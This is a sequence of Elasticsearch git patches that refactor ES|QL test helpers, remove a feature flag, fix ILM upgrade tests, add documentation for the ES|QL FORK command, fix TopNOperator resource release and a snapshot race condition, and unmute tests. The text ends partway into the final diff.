@@ -276,9 +276,7 @@ protected final void doTest(String query) throws Throwable {
         Map<?, ?> prevTooks = supportsTook() ? tooks() : null;
         Map<String, Object> answer = runEsql(builder.query(query), testCase.assertWarnings(deduplicateExactWarnings()));
 
-        var clusters = answer.get("_clusters");
-        var reason = "unexpected partial results" + (clusters != null ? ": _clusters=" + clusters : "");
-        assertThat(reason, answer.get("is_partial"), anyOf(nullValue(), is(false)));
+        assertNotPartial(answer);
 
         var expectedColumnsWithValues = loadCsvSpecValues(testCase.expectedResults);
 
@@ -303,6 +301,14 @@ protected final void doTest(String query) throws Throwable {
         }
     }
 
+    static Map<String, Object> assertNotPartial(Map<String, Object> answer) {
+        var clusters = answer.get("_clusters");
+        var reason = "unexpected partial results" + (clusters != null ? ": _clusters=" + clusters : "");
+        assertThat(reason, answer.get("is_partial"), anyOf(nullValue(), is(false)));
+
+        return answer;
+    }
+
     private Map<?, ?> tooks() throws IOException {
         Request request = new Request("GET", "/_xpack/usage");
         HttpEntity entity = client().performRequest(request).getEntity();
diff --git a/x-pack/plugin/esql/qa/server/src/main/java/org/elasticsearch/xpack/esql/qa/rest/RequestIndexFilteringTestCase.java b/x-pack/plugin/esql/qa/server/src/main/java/org/elasticsearch/xpack/esql/qa/rest/RequestIndexFilteringTestCase.java
index 1cb2a6a526191..1ba4365ea3e92 100644
--- a/x-pack/plugin/esql/qa/server/src/main/java/org/elasticsearch/xpack/esql/qa/rest/RequestIndexFilteringTestCase.java
+++ b/x-pack/plugin/esql/qa/server/src/main/java/org/elasticsearch/xpack/esql/qa/rest/RequestIndexFilteringTestCase.java
@@ -249,6 +249,11 @@ public Map<String, Object> runEsql(RestEsqlTestCase.RequestObjectBuilder request
         return RestEsqlTestCase.runEsql(requestObject, new AssertWarnings.NoWarnings(), RestEsqlTestCase.Mode.SYNC);
     }
 
+    public Map<String, Object> runEsql(RestEsqlTestCase.RequestObjectBuilder requestObject, boolean checkPartialResults)
+        throws IOException {
+        return RestEsqlTestCase.runEsql(requestObject, new AssertWarnings.NoWarnings(), RestEsqlTestCase.Mode.SYNC, checkPartialResults);
+    }
+
     protected void indexTimestampData(int docs, String indexName, String date, String differentiatorFieldName) throws IOException {
         indexTimestampDataForClient(client(), docs, indexName, date, differentiatorFieldName);
     }
diff --git a/x-pack/plugin/esql/qa/server/src/main/java/org/elasticsearch/xpack/esql/qa/rest/RestEsqlTestCase.java b/x-pack/plugin/esql/qa/server/src/main/java/org/elasticsearch/xpack/esql/qa/rest/RestEsqlTestCase.java
index 0c29d7a711257..5e85c20b026ab 100644
--- a/x-pack/plugin/esql/qa/server/src/main/java/org/elasticsearch/xpack/esql/qa/rest/RestEsqlTestCase.java
+++ b/x-pack/plugin/esql/qa/server/src/main/java/org/elasticsearch/xpack/esql/qa/rest/RestEsqlTestCase.java
@@ -60,6 +60,7 @@
 import static org.elasticsearch.test.MapMatcher.assertMap;
 import static org.elasticsearch.test.MapMatcher.matchesMap;
 import static org.elasticsearch.xpack.esql.EsqlTestUtils.as;
+import static org.elasticsearch.xpack.esql.qa.rest.EsqlSpecTestCase.assertNotPartial;
 import static org.elasticsearch.xpack.esql.qa.rest.RestEsqlTestCase.Mode.ASYNC;
 import static org.elasticsearch.xpack.esql.qa.rest.RestEsqlTestCase.Mode.SYNC;
 import static org.elasticsearch.xpack.esql.type.EsqlDataTypeConverter.dateTimeToString;
@@ -1248,13 +1249,21 @@ public static Map<String, Object> runEsqlAsync(RequestObjectBuilder requestObjec
         return runEsqlAsync(requestObject, randomBoolean(), new AssertWarnings.NoWarnings());
     }
 
+    public static Map<String, Object> runEsql(
+        RequestObjectBuilder requestObject,
+        AssertWarnings assertWarnings,
+        Mode mode,
+        boolean checkPartialResults
+    ) throws IOException {
+        var results = mode == ASYNC
+            ? runEsqlAsync(requestObject, randomBoolean(), assertWarnings)
+            : runEsqlSync(requestObject, assertWarnings);
+        return checkPartialResults ? assertNotPartial(results) : results;
+    }
+
     public static Map<String, Object> runEsql(RequestObjectBuilder requestObject, AssertWarnings assertWarnings, Mode mode)
         throws IOException {
-        if (mode == ASYNC) {
-            return runEsqlAsync(requestObject, randomBoolean(), assertWarnings);
-        } else {
-            return runEsqlSync(requestObject, assertWarnings);
-        }
+        return runEsql(requestObject, assertWarnings, mode, true);
     }
 
     public static Map<String, Object> runEsqlSync(RequestObjectBuilder requestObject, AssertWarnings assertWarnings) throws IOException {

From a3f77c674603e67ac667a88ab4e97c1440963d07 Mon Sep 17 00:00:00 2001
From: Martijn van Groningen <martijn.v.groningen@gmail.com>
Date: Mon, 30 Jun 2025 17:14:31 +0200
Subject: [PATCH 023/299] Remove tmp_fdt_no_mmap feature flag. (#130308)
 (#130335)

After running this change for a week,
no regressions where detected in
nightly benchmarks that use index sorting.
---
 docs/changelog/130308.yaml                                   | 5 +++++
 muted-tests.yml                                              | 3 ---
 .../org/elasticsearch/index/store/FsDirectoryFactory.java    | 4 +---
 3 files changed, 6 insertions(+), 6 deletions(-)
 create mode 100644 docs/changelog/130308.yaml

diff --git a/docs/changelog/130308.yaml b/docs/changelog/130308.yaml
new file mode 100644
index 0000000000000..f9386593744f1
--- /dev/null
+++ b/docs/changelog/130308.yaml
@@ -0,0 +1,5 @@
+pr: 130308
+summary: Force niofs for fdt tmp file read access when flushing stored fields
+area: Logs
+type: bug
+issues: []
diff --git a/muted-tests.yml b/muted-tests.yml
index 8bdcdcf410e51..5e62980d803bd 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -539,9 +539,6 @@ tests:
 - class: org.elasticsearch.qa.verify_version_constants.VerifyVersionConstantsIT
   method: testLuceneVersionConstant
   issue: https://github.com/elastic/elasticsearch/issues/125638
-- class: org.elasticsearch.index.store.FsDirectoryFactoryTests
-  method: testPreload
-  issue: https://github.com/elastic/elasticsearch/issues/129852
 - class: org.elasticsearch.xpack.rank.rrf.RRFRankClientYamlTestSuiteIT
   method: test {yaml=rrf/950_pinned_interaction/rrf with pinned retriever as a sub-retriever}
   issue: https://github.com/elastic/elasticsearch/issues/129845
diff --git a/server/src/main/java/org/elasticsearch/index/store/FsDirectoryFactory.java b/server/src/main/java/org/elasticsearch/index/store/FsDirectoryFactory.java
index d4ec647b992b5..39a5c03e27942 100644
--- a/server/src/main/java/org/elasticsearch/index/store/FsDirectoryFactory.java
+++ b/server/src/main/java/org/elasticsearch/index/store/FsDirectoryFactory.java
@@ -46,7 +46,6 @@ public class FsDirectoryFactory implements IndexStorePlugin.DirectoryFactory {
 
     private static final Logger Log = LogManager.getLogger(FsDirectoryFactory.class);
     private static final FeatureFlag MADV_RANDOM_FEATURE_FLAG = new FeatureFlag("madv_random");
-    private static final FeatureFlag TMP_FDT_NO_MMAP_FEATURE_FLAG = new FeatureFlag("tmp_fdt_no_mmap");
 
     public static final Setting<LockFactory> INDEX_LOCK_FACTOR_SETTING = new Setting<>("index.store.fs.fs_lock", "native", (s) -> {
         return switch (s) {
@@ -261,8 +260,7 @@ static boolean useDelegate(String name, IOContext ioContext) {
          * @return whether to avoid using delegate if the file is a tmp fdt file.
          */
         static boolean avoidDelegateForFdtTempFiles(String name, LuceneFilesExtensions extension) {
-            // NOTE, for now gated behind feature flag to observe impact of this change in benchmarks only:
-            return TMP_FDT_NO_MMAP_FEATURE_FLAG.isEnabled() && extension == LuceneFilesExtensions.TMP && name.contains("fdt");
+            return extension == LuceneFilesExtensions.TMP && name.contains("fdt");
         }
 
         MMapDirectory getDelegate() {

From d2c2710a6d30f2c63f27fc2e808d273e0c606a20 Mon Sep 17 00:00:00 2001
From: Niels Bauman <33722607+nielsbauman@users.noreply.github.com>
Date: Mon, 30 Jun 2025 14:30:12 -0300
Subject: [PATCH 024/299] Fix continuously running ILM tasks in
 `DataStreamsUpgradeIT` (#130283) (#130341)

The ILM policies on these data streams were causing issues during the
test cleanup phase. See
https://github.com/elastic/elasticsearch/issues/129097#issuecomment-3016122739
for more info.

Fixes #129097
Fixes #129098
---
 muted-tests.yml                               |  6 -----
 .../upgrades/DataStreamsUpgradeIT.java        | 26 +++++++++----------
 2 files changed, 13 insertions(+), 19 deletions(-)

diff --git a/muted-tests.yml b/muted-tests.yml
index 5e62980d803bd..b014d894d1822 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -461,12 +461,6 @@ tests:
 - class: org.elasticsearch.packaging.test.DockerTests
   method: test073RunEsAsDifferentUserAndGroupWithoutBindMounting
   issue: https://github.com/elastic/elasticsearch/issues/128996
-- class: org.elasticsearch.upgrades.UpgradeClusterClientYamlTestSuiteIT
-  method: test {p0=upgraded_cluster/70_ilm/Test Lifecycle Still There And Indices Are Still Managed}
-  issue: https://github.com/elastic/elasticsearch/issues/129097
-- class: org.elasticsearch.upgrades.UpgradeClusterClientYamlTestSuiteIT
-  method: test {p0=upgraded_cluster/90_ml_data_frame_analytics_crud/Get mixed cluster outlier_detection job}
-  issue: https://github.com/elastic/elasticsearch/issues/129098
 - class: org.elasticsearch.packaging.test.DockerTests
   method: test081SymlinksAreFollowedWithEnvironmentVariableFiles
   issue: https://github.com/elastic/elasticsearch/issues/128867
diff --git a/x-pack/qa/rolling-upgrade/src/test/java/org/elasticsearch/upgrades/DataStreamsUpgradeIT.java b/x-pack/qa/rolling-upgrade/src/test/java/org/elasticsearch/upgrades/DataStreamsUpgradeIT.java
index 1eff5c49dadc0..9242f5a9b5156 100644
--- a/x-pack/qa/rolling-upgrade/src/test/java/org/elasticsearch/upgrades/DataStreamsUpgradeIT.java
+++ b/x-pack/qa/rolling-upgrade/src/test/java/org/elasticsearch/upgrades/DataStreamsUpgradeIT.java
@@ -216,6 +216,9 @@ public void testUpgradeDataStream() throws Exception {
 
             if (ilmEnabled) {
                 checkILMPhase(dataStreamName, upgradedIndicesMetadata);
+                // Delete the data streams to avoid ILM continuously running cluster state tasks, see
+                // https://github.com/elastic/elasticsearch/issues/129097#issuecomment-3016122739
+                deleteDataStream(dataStreamName);
             } else {
                 compareIndexMetadata(oldIndicesMetadata, upgradedIndicesMetadata);
             }
@@ -227,7 +230,7 @@ public void testMigrateDoesNotRestartOnUpgrade() throws Exception {
          * This test makes sure that if reindex is run and completed, then when the cluster is upgraded the task
          * does not begin running again.
          */
-        String dataStreamName = "reindex_test_data_stream_ugprade_test";
+        String dataStreamName = "reindex_test_data_stream_upgrade_test";
         int numRollovers = randomIntBetween(0, 5);
         boolean hasILMPolicy = randomBoolean();
         boolean ilmEnabled = hasILMPolicy && randomBoolean();
@@ -237,6 +240,9 @@ public void testMigrateDoesNotRestartOnUpgrade() throws Exception {
         } else if (CLUSTER_TYPE == ClusterType.UPGRADED) {
             makeSureNoUpgrade(dataStreamName);
             cancelReindexTask(dataStreamName);
+            // Delete the data streams to avoid ILM continuously running cluster state tasks, see
+            // https://github.com/elastic/elasticsearch/issues/129097#issuecomment-3016122739
+            deleteDataStream(dataStreamName);
         } else {
             makeSureNoUpgrade(dataStreamName);
         }
@@ -650,7 +656,7 @@ private void upgradeDataStream(
         int expectedErrorCount,
         boolean ilmEnabled
     ) throws Exception {
-        Set<String> indicesNeedingUpgrade = getDataStreamIndices(dataStreamName);
+        List<String> indicesNeedingUpgrade = getDataStreamBackingIndexNames(dataStreamName);
         final int explicitRolloverOnNewClusterCount = randomIntBetween(0, 2);
         for (int i = 0; i < explicitRolloverOnNewClusterCount; i++) {
             String oldIndexName = rollover(dataStreamName);
@@ -726,7 +732,7 @@ private void upgradeDataStream(
                     }
                     assertThat(
                         statusResponseString,
-                        getDataStreamIndices(dataStreamName).size(),
+                        getDataStreamBackingIndexNames(dataStreamName).size(),
                         equalTo(expectedTotalIndicesInDataStream)
                     );
                     assertThat(statusResponseString, ((List<Object>) statusResponseMap.get("errors")).size(), equalTo(expectedErrorCount));
@@ -768,16 +774,6 @@ private void makeSureNoUpgrade(String dataStreamName) throws Exception {
         }
     }
 
-    @SuppressWarnings("unchecked")
-    private Set<String> getDataStreamIndices(String dataStreamName) throws IOException {
-        Response response = client().performRequest(new Request("GET", "_data_stream/" + dataStreamName));
-        Map<String, Object> responseMap = XContentHelper.convertToMap(JsonXContent.jsonXContent, response.getEntity().getContent(), false);
-        List<Map<String, Object>> dataStreams = (List<Map<String, Object>>) responseMap.get("data_streams");
-        Map<String, Object> dataStream = dataStreams.get(0);
-        List<Map<String, Object>> indices = (List<Map<String, Object>>) dataStream.get("indices");
-        return indices.stream().map(index -> index.get("index_name").toString()).collect(Collectors.toSet());
-    }
-
     /*
      * Similar to isOriginalClusterCurrent, but returns true if the major versions of the clusters are the same. So true
      * for 8.6 and 8.17, but false for 7.17 and 8.18.
@@ -859,6 +855,10 @@ private void createRole(String name, String dataStream) throws IOException {
         assertOK(adminClient().performRequest(request));
     }
 
+    private void deleteDataStream(String name) throws IOException {
+        client().performRequest(new Request("DELETE", "_data_stream/" + name));
+    }
+
     private RestClient getClient(String user, String passwd) throws IOException {
         RestClientBuilder builder = RestClient.builder(adminClient().getNodes().toArray(new Node[0]));
         String token = basicAuthHeaderValue(user, new SecureString(passwd.toCharArray()));

From 04c1ebfd62b900e1b5c6cec1e9b0d0d1be06ab0e Mon Sep 17 00:00:00 2001
From: Ioana Tagirta <ioanatia@users.noreply.github.com>
Date: Mon, 30 Jun 2025 21:03:11 +0200
Subject: [PATCH 025/299] ES|QL: Add docs for FORK (#130314) (#130347)

Co-authored-by: Liam Thompson <32779855+leemthompo@users.noreply.github.com>
---
 .../examples/fork.csv-spec/simpleFork.md      | 14 +++++
 .../fork.csv-spec/simpleForkWithStats.md      | 19 +++++++
 .../esql/_snippets/commands/layout/fork.md    | 57 +++++++++++++++++++
 .../_snippets/lists/processing-commands.md    |  1 +
 .../esql/commands/processing-commands.md      |  3 +
 .../src/main/resources/fork.csv-spec          | 28 +++++++++
 6 files changed, 122 insertions(+)
 create mode 100644 docs/reference/query-languages/esql/_snippets/commands/examples/fork.csv-spec/simpleFork.md
 create mode 100644 docs/reference/query-languages/esql/_snippets/commands/examples/fork.csv-spec/simpleForkWithStats.md
 create mode 100644 docs/reference/query-languages/esql/_snippets/commands/layout/fork.md

diff --git a/docs/reference/query-languages/esql/_snippets/commands/examples/fork.csv-spec/simpleFork.md b/docs/reference/query-languages/esql/_snippets/commands/examples/fork.csv-spec/simpleFork.md
new file mode 100644
index 0000000000000..c4752cb9648c6
--- /dev/null
+++ b/docs/reference/query-languages/esql/_snippets/commands/examples/fork.csv-spec/simpleFork.md
@@ -0,0 +1,14 @@
+% This is generated by ESQL's AbstractFunctionTestCase. Do not edit it. See ../README.md for how to regenerate it.
+
+```esql
+FROM employees
+| FORK ( WHERE emp_no == 10001 )
+       ( WHERE emp_no == 10002 )
+| KEEP emp_no, _fork
+| SORT emp_no
+```
+
+| emp_no:integer | _fork:keyword |
+| --- | --- |
+| 10001 | fork1 |
+| 10002 | fork2 |
diff --git a/docs/reference/query-languages/esql/_snippets/commands/examples/fork.csv-spec/simpleForkWithStats.md b/docs/reference/query-languages/esql/_snippets/commands/examples/fork.csv-spec/simpleForkWithStats.md
new file mode 100644
index 0000000000000..d72ea42b3106f
--- /dev/null
+++ b/docs/reference/query-languages/esql/_snippets/commands/examples/fork.csv-spec/simpleForkWithStats.md
@@ -0,0 +1,19 @@
+% This is generated by ESQL's AbstractFunctionTestCase. Do not edit it. See ../README.md for how to regenerate it.
+
+```esql
+FROM books METADATA _score
+| WHERE author:"Faulkner"
+| EVAL score = round(_score, 2)
+| FORK (SORT score DESC, author | LIMIT 5 | KEEP author, score)
+       (STATS total = COUNT(*))
+| SORT _fork, score DESC, author
+```
+
+| author:text | score:double | _fork:keyword | total:long |
+| --- | --- | --- | --- |
+| William Faulkner | 2.39 | fork1 | null |
+| William Faulkner | 2.39 | fork1 | null |
+| Colleen Faulkner | 1.59 | fork1 | null |
+| Danny Faulkner | 1.59 | fork1 | null |
+| Keith Faulkner | 1.59 | fork1 | null |
+| null | null | fork2 | 18 |
diff --git a/docs/reference/query-languages/esql/_snippets/commands/layout/fork.md b/docs/reference/query-languages/esql/_snippets/commands/layout/fork.md
new file mode 100644
index 0000000000000..836daa7bbaddb
--- /dev/null
+++ b/docs/reference/query-languages/esql/_snippets/commands/layout/fork.md
@@ -0,0 +1,57 @@
+## `FORK` [esql-fork]
+
+```yaml {applies_to}
+serverless: preview
+stack: preview 9.1.0
+```
+
+The `FORK` processing command creates multiple execution branches to operate
+on the same input data and combines the results in a single output table.
+
+**Syntax**
+
+```esql
+FORK ( <processing_commands> ) ( <processing_commands> ) ... ( <processing_commands> )
+```
+
+**Description**
+
+The `FORK` processing command creates multiple execution branches to operate
+on the same input data and combines the results in a single output table. A discriminator column (`_fork`) is added to identify which branch each row came from.
+
+**Branch identification:**
+- The `_fork` column identifies each branch with values like `fork1`, `fork2`, `fork3`
+- Values correspond to the order branches are defined
+- `fork1` always indicates the first branch
+
+**Column handling:**
+- `FORK` branches can output different columns
+- Columns with the same name must have the same data type across all branches  
+- Missing columns are filled with `null` values
+
+**Row ordering:**
+- `FORK` preserves row order within each branch
+- Rows from different branches may be interleaved
+- Use `SORT _fork` to group results by branch
+
+::::{note}
+`FORK` branches default to `LIMIT 1000` if no `LIMIT` is provided.
+::::
+
+**Limitations**
+
+- `FORK` supports at most 8 execution branches.
+- Using remote cluster references and `FORK` is not supported.
+- Using more than one `FORK` command in a query is not supported.
+
+**Examples**
+
+In the following example, each `FORK` branch returns one row.
+Notice how `FORK` adds a `_fork` column that indicates which row the branch originates from:
+
+:::{include} ../examples/fork.csv-spec/simpleFork.md
+
+The next example, returns total number of rows that match the query along with
+the top five rows sorted by score.
+
+:::{include} ../examples/fork.csv-spec/simpleForkWithStats.md
diff --git a/docs/reference/query-languages/esql/_snippets/lists/processing-commands.md b/docs/reference/query-languages/esql/_snippets/lists/processing-commands.md
index a9bf1e276b95d..70bb3fc7e1775 100644
--- a/docs/reference/query-languages/esql/_snippets/lists/processing-commands.md
+++ b/docs/reference/query-languages/esql/_snippets/lists/processing-commands.md
@@ -4,6 +4,7 @@
 * [`ENRICH`](../../commands/processing-commands.md#esql-enrich)
 * [`EVAL`](../../commands/processing-commands.md#esql-eval)
 * [`GROK`](../../commands/processing-commands.md#esql-grok)
+* [preview] [`FORK`](../../commands/processing-commands.md#esql-fork)
 * [`KEEP`](../../commands/processing-commands.md#esql-keep)
 * [`LIMIT`](../../commands/processing-commands.md#esql-limit)
 * [`LOOKUP JOIN`](../../commands/processing-commands.md#esql-lookup-join)
diff --git a/docs/reference/query-languages/esql/commands/processing-commands.md b/docs/reference/query-languages/esql/commands/processing-commands.md
index 57084779d6d7a..6d00259e49f73 100644
--- a/docs/reference/query-languages/esql/commands/processing-commands.md
+++ b/docs/reference/query-languages/esql/commands/processing-commands.md
@@ -32,6 +32,9 @@ mapped_pages:
 :::{include} ../_snippets/commands/layout/eval.md
 :::
 
+:::{include} ../_snippets/commands/layout/fork.md
+:::
+
 :::{include} ../_snippets/commands/layout/grok.md
 :::
 
diff --git a/x-pack/plugin/esql/qa/testFixtures/src/main/resources/fork.csv-spec b/x-pack/plugin/esql/qa/testFixtures/src/main/resources/fork.csv-spec
index 1cd9f60d01581..2c5b8a650a64a 100644
--- a/x-pack/plugin/esql/qa/testFixtures/src/main/resources/fork.csv-spec
+++ b/x-pack/plugin/esql/qa/testFixtures/src/main/resources/fork.csv-spec
@@ -5,16 +5,44 @@
 simpleFork
 required_capability: fork_v9
 
+// tag::simpleFork[]
 FROM employees
 | FORK ( WHERE emp_no == 10001 )
        ( WHERE emp_no == 10002 )
 | KEEP emp_no, _fork
 | SORT emp_no
+// end::simpleFork[]
 ;
 
+// tag::simpleFork-result-[]
 emp_no:integer | _fork:keyword
 10001          | fork1
 10002          | fork2
+// end::simpleFork-result[]
+;
+
+simpleForkWithStats
+required_capability: fork_v9
+
+// tag::simpleForkWithStats[]
+FROM books METADATA _score
+| WHERE author:"Faulkner"
+| EVAL score = round(_score, 2)
+| FORK (SORT score DESC, author | LIMIT 5 | KEEP author, score)
+       (STATS total = COUNT(*))
+| SORT _fork, score DESC, author
+// end::simpleForkWithStats[]
+;
+
+// tag::simpleForkWithStats-result[]
+author:text      | score:double | _fork:keyword | total:long
+William Faulkner | 2.39         | fork1         | null
+William Faulkner | 2.39         | fork1         | null
+Colleen Faulkner | 1.59         | fork1         | null
+Danny Faulkner   | 1.59         | fork1         | null
+Keith Faulkner   | 1.59         | fork1         | null
+null             | null         | fork2         | 18
+// end::simpleForkWithStats-result[]
 ;
 
 forkWithWhereSortAndLimit

From 21e402409b576daddef6860b09594c8aae2f5537 Mon Sep 17 00:00:00 2001
From: Ryan Ernst <ryan@iernst.net>
Date: Mon, 30 Jun 2025 12:23:47 -0700
Subject: [PATCH 026/299] Handle newlines in release notes test (#130134)
 (#130350)

Newlines are system dependent. The release notes generator uses groovy's
template engine, which produces system dependent newlines. This commit
adjusts the test to account for newlines on both windows and nix
systems.
---
 .../gradle/internal/release/ReleaseNotesGeneratorTest.java  | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/build-tools-internal/src/test/java/org/elasticsearch/gradle/internal/release/ReleaseNotesGeneratorTest.java b/build-tools-internal/src/test/java/org/elasticsearch/gradle/internal/release/ReleaseNotesGeneratorTest.java
index feb1ac1687116..c967e8cb8b9fb 100644
--- a/build-tools-internal/src/test/java/org/elasticsearch/gradle/internal/release/ReleaseNotesGeneratorTest.java
+++ b/build-tools-internal/src/test/java/org/elasticsearch/gradle/internal/release/ReleaseNotesGeneratorTest.java
@@ -19,6 +19,7 @@
 import java.util.Objects;
 
 import static org.elasticsearch.gradle.internal.release.GenerateReleaseNotesTask.getSortedBundlesWithUniqueChangelogs;
+import static org.hamcrest.Matchers.arrayContaining;
 import static org.hamcrest.Matchers.equalTo;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertThat;
@@ -100,7 +101,10 @@ public void testTemplate(String templateFilename, String outputFilename, List<Ch
             writeResource(outputFile, actualOutput);
             assertFalse("UPDATE_EXPECTED_OUTPUT should be set back to false after updating output", UPDATE_EXPECTED_OUTPUT);
         } else {
-            assertThat(actualOutput, equalTo(expectedOutput));
+            String[] expectedLines = expectedOutput.replace("\r", "").split("\n");
+            String[] actualLines = actualOutput.split("\n");
+
+            assertThat(actualLines, arrayContaining(expectedLines));
         }
     }
 

From e9416dfe7900b4481945de865c6c1a88898a05f9 Mon Sep 17 00:00:00 2001
From: Gal Lalouche <gal.lalouche@elastic.co>
Date: Mon, 30 Jun 2025 22:41:07 +0300
Subject: [PATCH 027/299] ESQL: TopNOperator, release Row on failure (#130330)
 (#130349)

Handles the case where the Row was released on failure, by moving the declaration to a try-with-resource clause.

Resolves #130215, #130222, #130270.
---
 muted-tests.yml                               |  6 --
 .../compute/operator/topn/TopNOperator.java   | 73 +++++++++----------
 2 files changed, 36 insertions(+), 43 deletions(-)

diff --git a/muted-tests.yml b/muted-tests.yml
index b014d894d1822..3db66d1d91156 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -560,12 +560,6 @@ tests:
 - class: org.elasticsearch.xpack.esql.qa.single_node.GenerativeIT
   method: test
   issue: https://github.com/elastic/elasticsearch/issues/130067
-- class: org.elasticsearch.compute.operator.topn.TopNOperatorTests
-  method: testSimpleWithCranky
-  issue: https://github.com/elastic/elasticsearch/issues/130215
-- class: org.elasticsearch.xpack.esql.action.EnrichIT
-  method: testProfile
-  issue: https://github.com/elastic/elasticsearch/issues/130270
 
 # Examples:
 #
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/topn/TopNOperator.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/topn/TopNOperator.java
index fdf88cf8f55b4..fde51d4642ae0 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/topn/TopNOperator.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/topn/TopNOperator.java
@@ -469,51 +469,50 @@ private Iterator<Page> toPages() {
                     p = 0;
                 }
 
-                Row row = list.get(i);
-                BytesRef keys = row.keys.bytesRefView();
-                for (SortOrder so : sortOrders) {
-                    if (keys.bytes[keys.offset] == so.nul()) {
+                try (Row row = list.get(i)) {
+                    BytesRef keys = row.keys.bytesRefView();
+                    for (SortOrder so : sortOrders) {
+                        if (keys.bytes[keys.offset] == so.nul()) {
+                            keys.offset++;
+                            keys.length--;
+                            continue;
+                        }
                         keys.offset++;
                         keys.length--;
-                        continue;
+                        builders[so.channel].decodeKey(keys);
+                    }
+                    if (keys.length != 0) {
+                        throw new IllegalArgumentException("didn't read all keys");
                     }
-                    keys.offset++;
-                    keys.length--;
-                    builders[so.channel].decodeKey(keys);
-                }
-                if (keys.length != 0) {
-                    throw new IllegalArgumentException("didn't read all keys");
-                }
-
-                BytesRef values = row.values.bytesRefView();
-                for (ResultBuilder builder : builders) {
-                    builder.setNextRefCounted(row.shardRefCounter);
-                    builder.decodeValue(values);
-                }
-                if (values.length != 0) {
-                    throw new IllegalArgumentException("didn't read all values");
-                }
 
-                list.set(i, null);
+                    BytesRef values = row.values.bytesRefView();
+                    for (ResultBuilder builder : builders) {
+                        builder.setNextRefCounted(row.shardRefCounter);
+                        builder.decodeValue(values);
+                    }
+                    if (values.length != 0) {
+                        throw new IllegalArgumentException("didn't read all values");
+                    }
 
-                p++;
-                if (p == size) {
-                    Block[] blocks = new Block[builders.length];
-                    try {
-                        for (int b = 0; b < blocks.length; b++) {
-                            blocks[b] = builders[b].build();
-                        }
-                    } finally {
-                        if (blocks[blocks.length - 1] == null) {
-                            Releasables.closeExpectNoException(blocks);
+                    list.set(i, null);
+
+                    p++;
+                    if (p == size) {
+                        Block[] blocks = new Block[builders.length];
+                        try {
+                            for (int b = 0; b < blocks.length; b++) {
+                                blocks[b] = builders[b].build();
+                            }
+                        } finally {
+                            if (blocks[blocks.length - 1] == null) {
+                                Releasables.closeExpectNoException(blocks);
+                            }
                         }
+                        result.add(new Page(blocks));
+                        Releasables.closeExpectNoException(builders);
+                        builders = null;
                     }
-                    result.add(new Page(blocks));
-                    Releasables.closeExpectNoException(builders);
-                    builders = null;
                 }
-                // It's important to close the row only after we build the new block, so we don't pre-release any shard counter.
-                row.close();
             }
             assert builders == null;
             success = true;

From 1d68fc2968a1626b5685c73632014e3a1c387891 Mon Sep 17 00:00:00 2001
From: Niels Bauman <33722607+nielsbauman@users.noreply.github.com>
Date: Mon, 30 Jun 2025 17:22:51 -0300
Subject: [PATCH 028/299] Unmute `PermissionsIT` tests (#130345) (#130357)

These failing tests were already addressed in #129506.

Resolves #129471 Resolves #129479 Resolves #129480 Resolves #129481
---
 muted-tests.yml | 12 ------------
 1 file changed, 12 deletions(-)

diff --git a/muted-tests.yml b/muted-tests.yml
index 3db66d1d91156..8a64d3a937efb 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -488,21 +488,9 @@ tests:
 - class: org.elasticsearch.index.engine.ThreadPoolMergeExecutorServiceDiskSpaceTests
   method: testMergeTasksAreUnblockedWhenMoreDiskSpaceBecomesAvailable
   issue: https://github.com/elastic/elasticsearch/issues/129296
-- class: org.elasticsearch.xpack.security.PermissionsIT
-  method: testCanManageIndexWithNoPermissions
-  issue: https://github.com/elastic/elasticsearch/issues/129471
-- class: org.elasticsearch.xpack.security.PermissionsIT
-  method: testCanManageIndexAndPolicyDifferentUsers
-  issue: https://github.com/elastic/elasticsearch/issues/129479
-- class: org.elasticsearch.xpack.security.PermissionsIT
-  method: testCanViewExplainOnUnmanagedIndex
-  issue: https://github.com/elastic/elasticsearch/issues/129480
 - class: org.elasticsearch.xpack.profiling.action.GetStatusActionIT
   method: testWaitsUntilResourcesAreCreated
   issue: https://github.com/elastic/elasticsearch/issues/129486
-- class: org.elasticsearch.xpack.security.PermissionsIT
-  method: testWhenUserLimitedByOnlyAliasOfIndexCanWriteToIndexWhichWasRolledoverByILMPolicy
-  issue: https://github.com/elastic/elasticsearch/issues/129481
 - class: org.elasticsearch.xpack.esql.qa.multi_node.EsqlSpecIT
   method: test {knn-function.KnnSearchWithKOption SYNC}
   issue: https://github.com/elastic/elasticsearch/issues/129512

From 43dcca33989d0bd3478a1f99cd37c352316c640f Mon Sep 17 00:00:00 2001
From: Yang Wang <yang.wang@elastic.co>
Date: Tue, 1 Jul 2025 10:56:28 +1000
Subject: [PATCH 029/299] Fix a racing condition in shard snapshot status
 update (#130302) (#130368)

The enqueued task can run before the code reaches the status update
line. When it happens, the status update can set the status backwards.
This PR fixes it by moving the status update before enqueuing the task.

Resolves: #129752
(cherry picked from commit 6b0d53402c83254207dcf9345355a986f3279271)

# Conflicts:
#	muted-tests.yml
---
 muted-tests.yml                                                | 3 ---
 .../org/elasticsearch/snapshots/SnapshotShardsService.java     | 2 +-
 2 files changed, 1 insertion(+), 4 deletions(-)

diff --git a/muted-tests.yml b/muted-tests.yml
index 8a64d3a937efb..74728c9b4af4d 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -512,9 +512,6 @@ tests:
 - class: org.elasticsearch.test.apmintegration.TracesApmIT
   method: testApmIntegration
   issue: https://github.com/elastic/elasticsearch/issues/129651
-- class: org.elasticsearch.snapshots.SnapshotShutdownIT
-  method: testSnapshotShutdownProgressTracker
-  issue: https://github.com/elastic/elasticsearch/issues/129752
 - class: org.elasticsearch.xpack.security.SecurityRolesMultiProjectIT
   method: testUpdatingFileBasedRoleAffectsAllProjects
   issue: https://github.com/elastic/elasticsearch/issues/129775
diff --git a/server/src/main/java/org/elasticsearch/snapshots/SnapshotShardsService.java b/server/src/main/java/org/elasticsearch/snapshots/SnapshotShardsService.java
index d49b670451f5b..3fd5a226936ac 100644
